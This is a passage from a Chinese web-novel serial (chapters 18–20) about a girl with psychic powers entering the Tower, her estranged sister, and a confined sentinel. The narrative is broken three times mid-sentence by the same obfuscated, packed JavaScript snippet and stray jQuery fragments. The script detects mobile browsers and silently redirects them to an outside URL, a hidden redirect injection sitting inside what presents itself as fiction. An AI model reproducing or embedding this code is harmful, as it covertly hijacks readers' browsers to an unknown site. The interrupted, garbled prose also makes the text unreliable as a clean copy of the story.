丛泠泪如雨下,她的下巴靠在小玉的头上,她终于回到了现实,接受了现实。 * 此时,在这个狭窄而封闭的员工宿舍,丛泠再一次紧紧抱住小玉。 她也来到了塔台,她走上了和姐姐相似的道路,在久违的仿佛靠近姐姐的这一刻,她好像终于能走出那个傍晚,不再被困在旧日的那一天。 这天的后半夜,丛泠睡得很熟,以至于她没听见那道敲门声。 不过,那不是属于现实世界的敲门声,而是发生在她的精神图景,来自那间湖畔的小木屋。 小木屋里宁静温馨,沙发上窝着一只小小的,胆怯的虎斑猫,它听见声音,跳上窗台,隔着玻璃,不敢走出门,只是谨慎地观察门外的动静。 门外有海风涌动,海浪翻涌,海风拂过屋檐下的风铃,带来了一丝访客身上的气息。 那气息似曾相识,让精神紧绷的虎斑猫也感到了温暖和安全。 但访客本人并没有靠近,只是远远看了一眼,确认过这间小屋平静如初,就放下心来,悄悄离开了。 18. 第 18 章 这天清晨,玛德琳的酒馆来了一位奇怪的客人。 那是一位衣着朴素的中年女性,柔顺的长发挽在脑后,鼻梁上架着一副金丝眼镜。 从她手上的皮肤纹理来看,她应该是有些阅历了,但她的身形姿态却十分挺拔,脸上的神情也带着一股年轻人才有的朝气,让人分辨不出她具体的年纪。 她走进酒馆,叫住一个服务生,微笑道:“请你们老板出来。” 察觉到服务生的慌张,她笑了笑,把语气放得柔和许多,“别紧张,我只是来见见老朋友。” 没过多久,玛德琳从库房里出来了——酒馆橱柜后面就是地下室,地下室再往里走,是酒馆的库房。 玛德琳的视线扫过来,和中年女士的目光对上,玛德琳动作一顿,也露出一个客气的微笑,她亲自在柜台后调好两杯酒,端了过去。 中年女士选了一个靠窗的双人卡座坐下,位置空间较小,两人对坐,距离很近,如果不想挨到对方的肢体,就只能尽力往后靠。 玛德琳落座后,那位女士的身体倒是没怎么动,玛德琳却下意识地往后拉远距离,直到背部抵在玻璃墙,无法再后退。 沉默片刻。 中年女士端起酒杯,品尝了一番这琥珀色的酒液,她夸赞了玛德琳的调酒水平,然后放下杯子,说道:“你看起来并不欢迎我。” 玛德琳说:“我欢迎所有来酒馆消费的客人。” 中年女士失笑道:“原来是这样,让你请我喝酒,是我太不客气了。” 玛德琳敲了敲桌面,问道:“葛洛丽……说真的,你来做什么,我从没想过我们还能心平气和地坐在一起,这可不是我期待的场景。” “你一个从来不喝酒的人,何必来酒馆浪费时间?你有什么话要说,请直说吧,我忙着赚钱,没空陪你闲聊。” 中年女士,或者说,葛洛丽,她扶了扶鼻梁上的眼镜,镜片下,灰绿色的眼睛闪着柔和的光。 “你还在怪我吗?我以为,我们早就达成了共识,你早就理解了我。”葛洛丽颇为遗憾地摇了摇头。 玛德琳有点坐立不安,她习惯了直来直去,太久没遇到说话啰嗦的人,实在有点难以适应。 玛德琳说:“够了,别再讲你的那套邪典,我的看法一直没有变过,我不理解,不认同,不想听,别再说了。” 葛洛丽抿了抿嘴,点头道:“你还是对我抱有很大的成见,我明白了。” “不过,我这次来,其实是想请你帮忙的。”葛洛丽又往前倾了一段距离,姿态真挚,“你知道,我没有子女,也没有任何教养后辈的经验,所以我真的不理解,为什么小影会对我那样不礼貌,她甚至想要伤害我。” 玛德琳僵硬片刻,她看了一眼葛洛丽,放声大笑起来,“真可惜,我竟然错过了那个场面。” 葛洛丽平稳道:“没什么好可惜的,你知道的,无论是什么攻击,都不会对我的身体造成实际伤害,你的愿望要落空了。” 玛德琳哼笑一声,“是吗,那你为什么一脸受伤的样子。” 葛洛丽叹了口气,“身体上不会受伤,不代表心里不会难过。我想,已经做得足够好了,同级别的哨兵,我给她最高规格的待遇,明显的偏爱。” “我放弃其他重要的工作,成为她专属的负责人,我关心她的一切饮食起居,训练细则,我不明白,这么多年相处下来,她对我竟然连一丝感情也没有吗。” 玛德琳深呼一口气,拿起酒杯一饮而尽,勉强克制住情绪,“你真会偷换概念,是你违反约定在先,怎么还扮起可怜来了。” 玛德琳道:“当初说好了,她们姐妹两个,最多牺牲一个人进入塔台,给另一个自由选择的权力,而你是怎么做的?” 玛德琳怒道:“你撕毁了约定,把她妹妹也带进塔台,小影生气不是理所应当?” 葛洛丽像是被玛德琳的怒气吓了一跳,她面露疑惑,思索道:“你一定是误会了什么。” 葛洛丽斟酌道:“你刚才说的,我们当初的约定……我承认,当时事发突然,塔台强行带走小影,给她们造成了一点心理阴影。但这是理所当然的发展,她们觉醒了异能,当然应该进入塔台,发挥人生最大的价值,为全人类的生存贡献力量。” 葛洛丽用古怪的眼神看了玛德琳一眼,“更何况,从来就没有‘牺牲’一说,难道你认为,进入塔台是牺牲吗?不,这是一种荣耀,能够全部施展自己的天赋与力量,这是再幸运不过的一件事了。” “当时小泠年纪太小,我考虑到她可能无法适应塔台的高强度训练,所以我才同意,给她一个缓冲期,让她先留在你身边,接受你的照顾,等时机成熟,她也是要进入塔台的。” 葛洛丽说到这里,恍然大悟,“所以,你才带着她四处搬家,甚至努力伪装成一个普通人生活,你是想躲过塔台的搜查?你……”葛洛丽忍不住笑了,“玛德琳,你简直有些可爱了。” 玛德琳冷眼看着她,她们认识很多年了,玛德琳也很早就发现了一个事实——和葛洛丽沟通是没有意义的,她只能听见自己想听的东西,即使话里的内容她完全不认同,她也会自行歪曲成自己想听的话。 玛德琳说道:“所以,你今天来是为了炫耀?展示你的成果?” “不,”葛洛丽认真道:“我只是来寻求帮助,我刚刚不是说过吗?小影对我生气了,她甚至攻击了我,我不理解,我想要修复我和她之间的关系。” 玛德琳再一次打量葛洛丽周身,依旧没找到任何受伤的痕迹。 “别露出那种失望的表情嘛,”葛洛丽温柔地笑了,“我也期待她能够伤到我的那一天。等到那时候,她就真正成长了。” 太阳逐渐升起来,店里的客人也变多了,城区内有宵禁,大家都不在夜里活动,干脆在白天来酒馆。 临窗的座位一向很抢手,一位刚走进店里的客人正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362010|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在寻找座位,迟疑地看向了这个角落。 葛洛丽起身,让出了位置,她对玛德琳说:“不打扰你做生意了,今天的聊天很愉快,期待下次再见。” 玛德琳脸上没什么表情。 葛洛丽并不在意,又笑了笑,说:“也欢迎你来拜访我,塔台的大门随时为你敞开。” 葛洛丽说走就走,一秒也不多待,她姿态昂然,明明是很瘦弱的身躯,却永远像一个胜利的斗士。 玛德琳看着那道背影,忽然有些作呕,她扔掉对方用过的杯子,重新穿过地下室,回到了库房。 * 新的一天,丛泠得到一个新消息,为了方便后续的训练,她将要搬出第二十三层的员工宿舍,搬去上层的哨兵/向导专属区域。 丛泠对此没什么感触,很快收拾好东西,等待负责人过来收走她的钥匙。 没想到,先过来的竟然是珍妮,珍妮敲开了门,忽然抱住了丛泠,她说道:“我好舍不得你。” 丛泠迟疑地拍了拍她的背,说道:“嗯……” 好在,对于珍妮来说,情绪低落只是暂时的,她很快打起了精神,邀请丛泠一起去食堂,“说起来,我们还没有一起吃过一顿饭,还等什么呢,快走吧。” 就这样,丛泠跟在珍妮身后,经过许多窗口,点了很多菜,最终坐在了同一张饭桌上。 丛泠不爱吃饭,日常三餐只是为了维持身体机能,虽然对食物也有口味偏好,但并不挑剔,如果是她一个人来吃午餐,她大概又会选择一个三明治。 珍妮却认真挑选,认真搭配,选出一桌荤素得当,卖相也相当诱人的饭菜。 珍妮感慨道:“上次出外差,在外面吃了一顿饭,外面的物价又涨了,好贵啊,差点花掉我的半个月工资。” 的确,现在四季太不规律,农作物都无法正常生长,只有城区的培育场能产出一些真正的蔬果,价格自然贵得可怕。 珍妮又说:“幸好我留在了塔台,不然连吃饭都成问题。” 丛泠不发表看法,但她的确更理解了珍妮一点,至少,为塔台工作,衣食起居能够得到保障。 丛泠吃饭速度很快,她没有放下餐具,对珍妮说:“不着急,你慢慢吃。” 但珍妮也很快擦了擦嘴,她说:“我们再一起走走吧。” 两人离开食堂,在这一层的花园区绕圈走动,丛泠感觉今天的珍妮似乎有哪里不一样,好像忽然有了心事,行为也变得犹豫许多。 又绕着同一条小路走了两遍,珍妮终于停下来,她说:“如果……如果你见到了我哥哥,可以替我向他问声好吗。” “你的哥哥?”丛泠有些诧异。 “是的,”珍妮笑了,“他在三十层以上的区域,我一直没有机会见到他。” 丛泠问:“他叫什么名字?” 珍妮摇头,只是说:“我们长得很像,只要你见到他,一定可以立刻认出来。” 19. 第 19 章 又是一个令人讨厌的晴天,在一间被晒得发烫的空房间里,丛泠和伊文大眼瞪小眼,已经僵持很久了。 丛泠宁愿自己跟着那些混乱的指示牌,无头苍蝇一样四处乱撞,也不希望由伊文带着她,去熟悉塔台的上层区域。 伊文显然也是同样的想法,他的心情直接展示在脸上,谁都能看出他的不情愿。 但是,同为向导,又年龄相近——伊文今年应该是23岁,再加上,伊文这几天又很闲,所以,他责无旁贷,成为了丛泠这名“新向导”的新手指引人。 丛泠正式入驻上层区域,这也意味着她身份的转变,她从一个模棱两可的“向导候选人”,变成了一位真正的向导。 只不过,她这个向导暂时还没有启用,也就没有相应的编号。 在塔台内部,编号相当于哨兵/向导的身份证明,一组绑定的哨兵和向导会共用同一份编号,比如,丛影是第十一号哨兵,那么,伊文就自动成为了第11号向导。 比起一个人原本的姓名,编号才是他们更常用的“名字”。 说完这些,伊文冷不丁冒出一句,“原本,你没机会知道我的名字。” 丛泠很莫名地看他一样,说:“其实我也不想知道。” 伊文立刻要反唇相讥,但忽然想起什么,又努力忍耐下来。 两人本来是并肩走在一起,走着走着,距离越拉越开,丛泠正在观察四周,完全没发现伊文的种种纠结。 上层的区域没有想象中那么划分严明,常常是这一间还是训练室,隔壁就变成了露天花园,同一楼层的各个房间没有统一的功用属性,也没有分布规律,像是完全随机。 伊文解释道:“每个人偏好的光线和温度不一样,每天的活动区域都是变化的。” 丛泠点点头,她四处探头找了找,“第十一号哨兵平时经常待在哪些房间?” 伊文停下脚步,他看向丛泠,“你不该问这些。” 丛泠不理解,她猜想伊文对自己还是带着敌意,但是,伊文的神情却是前所未有的郑重。 伊文放低了声音,告诫她:“我认为你和她应该保持距离。” “即使你们是亲人,”说起亲人这个词,伊文的脸色有些古怪,他顿了顿,才继续道:“我不明白你们的血缘关系究竟有什么重要的,但是,在进入塔台之后,你应该和所有人都保持距离。” 丛泠大概明白了他的意思,“我不会给她惹麻烦。” “但愿是这样,”伊文说道:“当然,站在她的角度,我希望你也能一直安全。” 丛泠有些意外地看了他一眼,点了点头。 又走过一个拐角,这里没多少守卫人员,丛泠才低声问:“你说的安全是指哪方面?我以为,至少塔台内部……是不会有危险的?” 伊文摇了摇头,伸手指了指上方的天花板,他说:“基础的人身安全当然是有保障的,不过,负责人会给每位哨兵向导订制私人训练方案,至于训练内容……” 伊文叹了口气,“你的感情牵绊越多,受到的制约就会更多。” 伊文没有再往下说,显然不愿意多谈,他态度变得平和许多,继续介绍起这一层的一些重点场所。 眼前是个黑漆漆的房间,门框上挂了个牌子,写着“资质检测”。 “每个月至少进行一次异化程度检测,以免异化过度,发生畸变。”伊文解释道。 “畸变……”丛泠没想到,原来已经在塔台登记工作的人也可能发生畸变。 伊文再一次指了指空无一物的天花板,露出一个意义不明的笑,他说:“定制训练,强化异能也是其中一部分。” 大概一小时之后,丛泠大致了解了这片区域的几个重点场所,也记住了几个要点,比如,每天要提前登记第二天的活动范围,如果没有必要,尽量单独待在一个空间,不要和无关的同事多接触。 看起来,这里提倡的是保持距离,单独行动——同编号的一对哨兵与向导除外——仿佛大家都脾气火爆,极易产生摩擦,发生冲突。 也可以理解,这里的装潢风格实在是太古板了,长期待在这里,心情压抑那不是很正常吗。 丛泠甚至开始想念起珍妮,她那么快乐的人,在这里真的太少见了。 又过了半小时,伊文把丛泠带到她的新宿舍,转身就要离开。 丛泠却叫住了他,“……第十一号哨兵的身体还好吗?” 伊文深深皱起了眉,他说:“不是提醒过你,你不该问这些事。” 丛泠仍然看着他。 伊文彻底转过身来,他不再试图维持温和的表象,又变得暴躁易怒,他说:“她不好,很不好,那个该死的负责人,在她发动攻击的同一瞬间,就把全部伤害转移到了她本人身上。” “她受了很重的伤。” 丛泠一僵,她回忆起当天看到的事故现场,难怪,当时就觉得有些怪异,但现在才反应过来——当时,墙体损坏,周围的物体也都有损伤,但真正受到伤害的人,只有丛影一个人。 丛泠上前一步,不由自主拉住了伊文,她急切道:“我想去看看她。” 伊文甩开她的手,可能是忍耐到了极点,之前被压制的迁怒又翻涌起来,他一句话也没说,直接离开了。 * 冷冻室,休眠仓,第十三号哨兵紧闭双眼,睫毛颤抖,眼珠在眼皮下滚动,被禁锢的双手小幅度地弹动,撞在舱体上,发出金属碰撞的声音。 其实,那一次离开休眠仓去资料室,并不是他第一次擅自行动,只是当时在资料室里,他的情绪起伏太大,留下太多行动痕迹,终于被他的负责人发现了。 在那之后,休眠仓的锁再一次被加强了,他不能再像从前那样轻松解开。 但还是有办法的,只是要费点力气。 第十三号哨兵依旧双眼紧闭,但眉头放平了很多,显然情绪已经稳定下来。 他的精神图景里一片漆黑,弥漫着一片化不开的浓雾,这片浓雾在他的指引下凝结成形,变成一片黑色风暴,出现在了禁闭室里。 不是每个哨兵/向导都有明确的精神体,一般来说,精神体是内心的投射,会融合自己的特性,以另一种生物体的形态出现。 但有些人的个人意志原本就是一片混沌,自己都想不明白,分辨不清,就无法凝结成状态明确的精神体。 此时,这片小小的混乱的黑色风暴出现在冷冻室里,虽然无法真正触碰到休眠仓,但它包裹住休眠仓,飞快检索,获得了想要的信息,找到了锁芯最脆弱的位置。 咔哒一声,锁开了,第十三号哨兵睁开了眼睛。 冷冻室里是一片白茫茫的雾气,天花板上有灯光闪烁,几个监控摄像头被黑色蒙蔽,丢失了目标人物。 第十三号哨兵坐起来,扔掉手边断裂的锁链,然后一道道解开身上的枷锁。 他脸色苍白,是常年不见阳光的结果,他抬手撑住额头,忍耐那一阵忽然来袭的刺痛,他习惯了这种程度的不适,只是前些天精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379007|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太舒缓,让他淡忘了这种感受。 他踩上地板,隔着密闭的窗户看外面的夜空,他对于时间流逝没多少概念,白天黑夜对于他都没什么区别。 只不过,前段时间,他是更喜欢白天的,因为白天他就可以见到她。 想到这里,手上忽然泛起一阵刺痛,他低头一看,原来是一截断裂的金属碎片,刚刚没注意,手上用力,把尖锐的碎片刺进了掌心。 鲜血慢慢渗出来,看上去有些可怕,但没过多久,伤口快速愈合,手里只剩一点干涸的血迹,停在掌心纹路里。 这副躯体就是这样,寻常的小伤根本不会造成真正的持久的伤害,虽然会痛,但很快就会愈合,看上去还是一切如常,什么都没有变化。 从培育中心再到塔台,第十三号哨兵始终待在封闭的地方,进行相似的训练,不断磨砺这一副躯体,生活环境看似有改变,但其实都差不多。 他没什么感触,起初有点厌烦,后来连厌烦都没有了,他只是在忍耐,每一天的生活都像是在重复昨天。 直到有一次,他的负责人告诉他,你的生活并不会永远这样沉闷痛苦。 在将来的某一天,你会遇到一个人,她和你百分百契合,她懂得你所有的想法、情绪,她会永远陪伴你,你不会再无聊,再孤单,只要找到她,你的人生就会彻底改变。 第十三号哨兵盼望着这一天的到来。 他知道,这不是一个谎言,因为,负责人不只是说了这么一句空泛的话,负责人时不时会带来新的信息,每当第十三号哨兵因为过度训练而身体不适,他就会得到一条新的提示。 他发现了这个规律之后,常常主动失误,主动伤害自己的身体,换取负责人带来的关于那个人的新消息。 他为此感到振奋,仿佛自己眼前又挂上了一个更新鲜的胡萝卜。 那些信息都很有趣,带着浪漫的生活气息。 比如,这个命中注定的人,她喜欢晴天,喜欢热烈欢乐的地方,她喜欢看童话书,喜欢那些善良勇敢的人,她喜欢热巧克力,喜欢那些甜蜜温暖的触感。 见到她的第一天,匆匆一瞥,第十三号哨兵就感受到了那明显的,强烈的悸动。 他放下心来,心满意足,感觉很幸福,好像第一次睁开眼睛,重新认识了这个世界。 他本该很快乐,他不该不知足。 但是,他发现,他被骗了。 不是说好了,她和他才是命中注定的两个人,她和他是世界上最亲密的两个人,她和他才是…… 为什么她还有其他重要的人,有血缘牵绊的人,她的家人? 第十三号哨兵再次回忆起那种强烈的不甘与失落,他被骗了,对于那个人来说,他一点也不特别,她可以为了其他人轻易抛弃自己,她不会永远和自己待在一起,她…… 第十三号哨兵为了挣脱休眠仓的束缚,原本就过度使用了精神力,此时情绪大幅波动,更是难受,他眼前发黑,有点眩晕,无所谓地放松身体,整个人砸在了地上。 倾斜的视野里,他忽然看到一线光,这个黑暗的空间里不该有的光。 不知何时,紧闭的大门竟然被人从外面推开了,门缝里透出一线微光,还有一个人影。 一道视线投在他身上,然后是急促的脚步声,混乱的呼吸声,一双微冷的手轻柔地托起了他的头。 随之而来的气息很熟悉,是一种让他感觉安全而幸福的味道。 “你还好吗?”那个人轻声问道。 20. 第 20 章 “你还好吗?”丛泠问道。 在那一瞬间的眩晕之后,第十三号哨兵很快恢复了正常。 其实他原本就不至于摔倒,想要维持平衡还是很容易的,只是他对这副躯体没有任何的珍惜,也就无所谓了。 此时,他侧躺在地面,视野被压缩得很窄,半张脸原本贴在冰冷的地板上,然后被一双手托起。 他睁开眼睛,看见另一双幽绿的眼睛,正关切地看着他。 这种……仿佛倍受呵护的感觉,他忽然真的有点眩晕了。 他没说话,一声不吭,视线也垂下,看上去很虚弱的样子,丛泠以为他真的怎么了,又用力把他扶起来一点,伸手轻轻拍他的脸颊。 第十三号哨兵挣了一下,不像是挣扎抗拒,只是一种下意识的反应,他声音很低,说:“你来了。” 这片角落安静极了,门外的这条走廊本来有几个站岗的士兵,但他们都在丛泠的精神力影响下记错了换岗的时间,留出了一片缺口。 守在这里的士兵散开了,但那道门该怎么打开呢?这是个棘手的问题。 丛泠在来之前并没想好该怎么办,但她等不下去了,她急着找人帮忙,偏偏又孤立无援,唯一想到的人就是他。 没想到,丛泠急匆匆赶到这里,却发现门锁已经被打开了,她试探性地轻轻一推,毫无阻力,门开了。 室内也静悄悄的,和她第一次踏足时一模一样,没有任何打斗的痕迹。 “这道门是你自己打开的?”丛泠很小声地问:“你想逃走吗?” 第十三号哨兵似乎终于清醒一点,他撑坐起来,他说:“不是,没有。” 丛泠动了动刚才被压得有些酸的手腕,她没说话,看着对方。 第十三号哨兵眨了眨眼睛,他改口了,“门是我打开的,但我只是想出去走走,并不想逃走。” 丛泠笑了,这明明不是个可以轻松的时刻,她说:“嗯,知道了。” 这种静谧的氛围并没有持续很久,丛泠想起自己来这里的目的,她对第十三号哨兵说:“你可以帮我一个忙吗?” 第十三号哨兵看着她,脸上慢慢有些警惕,他大概猜到了她要说什么。 果然,丛泠接着说:“我想去见一个人。” 她伸手拉下第十三号哨兵的手掌,在他手心里划出“十一”的字样。 第十三号哨兵偏开了头,神色不郁,看上去完全不可能答应。 …… 十分钟后,丛泠来到了另一层走廊的某个房间外,她谨慎观察四周,确定所有士兵都已经离开之后,她伸出手向后方勾了勾。 第十三号哨兵慢吞吞地走了出来。 丛泠并不知道姐姐的房间具体在哪里,她是根据上午伊文和她对话时,一些微小的面部表情推测的。 除此之外,这附近的空气浮动着一种古怪的味道,混杂了很多种东西,药水、消毒水、血腥气,还有一种……湿润的,海水的气息。 第十三号哨兵站在不远处,他双手抱臂,倚靠在墙边,视线下垂,以一种防御性的姿态守在这里。 他不打算去见其他人,只是留在这里,防范那些巡逻的士兵,以及可能会突然出现的第11号向导。 丛泠站在这扇门前,紧张而茫然,这是一扇密闭的门,而她没有钥匙。 她甚至不能百分百确定这就是姐姐待的房间。 但她也没有别的办法了。 丛泠闭上眼睛,把轻轻额头贴在门上,放任自己的意识不断下沉,最终完全沉浸在精神图景之中。 对于自己的异能,她一直都是胡乱摸索,胡乱运用,常常是误打误撞化解危机,但不知道对或者不对。 毕竟这世界上不存在关于异能的规范使用说明,也没有谁认真地引导过她。 丛泠的成长环境比较封闭,她的家人们对于异能也都是讳莫如深,从不正面提及这些。 玛德琳唯一告诉她的,就是要藏好自己的异能。 和大部分异能者不同的是,丛泠的异能比较复杂。 在精神力充沛的时候,她拥有的能力是第一种——影响他人意识,或是短暂地操控他人意识。 当精神力消耗到一定程度,又或者是体力耗尽,遭遇巨大危机时,她会短暂地拥有另一种能力。 到目前为止,这种危机时刻并不多,所以她也并不完全清楚这第二种能力具体是什么。 她曾经拿这件事询问玛德琳,玛德琳沉默片刻,告诉她,首先,你还是要伪装成一个普通人。 其次,如果万不得已,暴露了有异能的事实,你也要伪装成一个正常的普遍的异能者,要藏好自己的第二种异能。 丛泠不明白为什么,只是本能地觉得危险,并努力按照玛德琳的话去做。 事情发展到现在,她还算做得不错,至少塔台并没有发现她的第二种异能。 丛泠潜入自己的精神图景,把意识沉入正在房间里趴着休息的虎斑猫。 下一秒,虎斑猫从沙发上跳下去,慢慢踱步到了门边。 它的爪子已经搭在了门把手上,却迟迟不愿意按下去,它喜欢待在这间温暖、安全的小屋里,不愿意,也不敢往外踏出哪怕一步。 丛泠轻轻叹了口气,虎斑猫的身形发生变化,拉扯膨胀,变成了一只高大的、矫健的美洲豹。 可能是因为丛泠的异能比较复杂混沌,她的精神体也有两种截然不同的形态。 虽然都是猫科动物,但性情却大不相同。 比起软弱、胆怯的小小虎斑猫,这只美洲豹是充满勇气,无所畏惧的。 丛泠深呼吸一口气,美洲豹一爪子拍开房门,走出屋檐的阴影,离开这座小院,走到了停着水鸟的湖泊旁。 湖面平静无波,水鸟正梳理它的羽毛,天色温润美好,微风里有淡淡的咸湿气息。 美洲豹来到湖边,欣赏了一会儿自己的倒影,然后后退几步蓄力,猛地开始助跑,高高跃起,一头扎进了湖水里。 咕噜咕噜——丛泠看见水波荡漾,许多光点在眼皮上晃动,她也感受到了片刻窒息。 好在,没过多久,美洲豹成功下潜到了湖底。 它四处嗅闻,找到了一丛繁茂的水草,用力刨挖一通,终于,在水草掩映下,发现了一处狭小的洞口。 美洲豹钻进这个洞口,动作灵活,但姿态狼狈地穿过了这个水下通道——这个空间对它来说有点太拥挤了,如果换作是虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15436126|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斑猫,说不定刚刚好。 眼前骤然一暗,钻出洞口后,美洲豹依旧身处水底,但水的颜色与密度都发生了变化,眼前变得更幽暗,更寂静,抬头去看,太阳隔得很远很远。 这里是海底。 虽然并不明白为什么,但丛泠的精神图景和丛影的精神图景,似乎是连通在一起的。 丛泠离开了自己的精神图景,潜入了姐姐的精神世界。 海底幽深,能见度极低,又寂静无声,一片死寂,本该是个阴森恐怖的地方,美洲豹身处其中,却惬意极了,它快乐地转圈,在海水里肆意翻滚,伸展四肢。 它也不用担心呼吸的问题,一个大大的气泡漂到它身边,温柔地包裹住了它。 美洲豹在海底四处捣乱,海水却平静如初,过了好一会儿,这片空间终于无可奈何地起了波动。 门开了,丛泠微一踉跄,脚下跨过门槛,她睁开了眼睛。 现在正是深夜,房间里光线昏暗,只有斜对角的墙面有一盏灯,灯下是暖黄色的光晕。 门已经打开,丛泠却犹豫了,她站在门内,从身后把门带上,然后停在原地,她不敢再往前走。 一片静默之中,响起两声轻咳。 丛泠下意识大步往里走,她脚下一绊,撞到桌脚,眼前一花,又一盏灯亮了起来,丛影坐在对面的沙发上,半张脸藏在阴影下,正静静看着她。 “……姐姐。”丛泠声音太小,大概只有她自己能听见。 “你长高了。”丛影看着她,目光有些疏远,露出一个很淡的微笑。 丛泠刚刚急着过来查看姐姐的身体状况,现在到了这里,听到姐姐平稳的声音,她又胆怯了。 她甚至不敢抬头,只能用余光看那边一眼。 丛影似乎叹了一口气,她也有些不自然,但因为坐在阴影处,那点不自然的小动作就无人发觉。 “别这样,这都不是你的错,”丛影静了静,她又说:“我从来没有怪过你。” 丛泠鼻腔发酸,泪水飞快涌了上来,她心里五味杂陈,又欣喜,又羞愧,她的声音变得更轻了,带着不自知的依赖,“我好想你,姐姐——” 丛泠声音一顿,动作也是一顿,她本来是想去拥抱姐姐,但对方却避开了她的动作。 丛影又往后退了一段距离,整个人陷在沙发中,半边身体依然藏在阴影里。 但两人之间的距离已经足够近,丛泠已经能够看清眼前的人。 丛影身上并没有明显的外伤,看姿态和表情,身体大概也恢复得差不多了,她穿着宽松休闲的衣服,似乎是刚从睡梦中被丛泠吵醒。 只不过,即使是这样居家的打扮,这种日常的氛围,丛影脸上还是戴着哨兵们训练时使用的护具。 黑漆漆的金属层,覆盖住她的半张脸,显得突兀而诡异。 丛泠犹豫片刻,又往前一扑,执着地抱住了姐姐,她闭上眼睛,努力平息自己的情绪。 丛影的身体是僵硬的,面对这个久违的拥抱,她好像比丛泠更加无所适从。 丛泠紧紧地抱住她,直到感觉对方也渐渐放下了戒备,放缓了呼吸。 片刻后,丛泠小声问道:“姐姐,你的脸怎么了?”